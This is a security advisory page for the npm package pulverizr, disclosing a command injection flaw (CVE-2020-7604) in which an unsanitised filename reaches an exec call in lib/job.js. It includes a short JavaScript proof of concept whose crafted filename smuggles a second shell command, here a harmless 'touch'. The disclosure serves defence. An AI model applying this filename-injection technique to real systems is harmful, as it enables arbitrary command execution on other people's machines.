Do your applications use this vulnerable package?
Test your applications
Overview
pulverizr is a to smash your images down to size.
Affected versions of this package are vulnerable to Command Injection. Within lib/job.js
, the variable filename
can be controlled by the attacker. This function uses the variable filename
to construct the argument of the exec call without any sanitization.
In order to successfully exploit this vulnerability, an attacker will need to create a new file with the same name as the attack command.
PoC
var root = require("pulverizr");
var fs = require("fs");
var attack_code = "touch Song";
var injection_code = "\"&" + attack_code + "&\"a.jpg"
var inputs = [injection_code]
fs.writeFile(injection_code, "123", function(){});
var job = root.createJob(inputs, {});
job.run();
Remediation
There is no fixed version for pulverizr
.
References
CVSS Score
6.5
medium severity
-
Attack VectorNetwork
-
Attack ComplexityHigh
-
Privileges RequiredNone
-
User InteractionNone
-
ScopeUnchanged
-
ConfidentialityHigh
-
IntegrityLow
-
AvailabilityNone
- Credit
- JHU System Security Lab
- CVE
- CVE-2020-7604
- CWE
- CWE-78
- Snyk ID
- SNYK-JS-PULVERIZR-560122
- Disclosed
- 13 Mar, 2020
- Published
- 13 Mar, 2020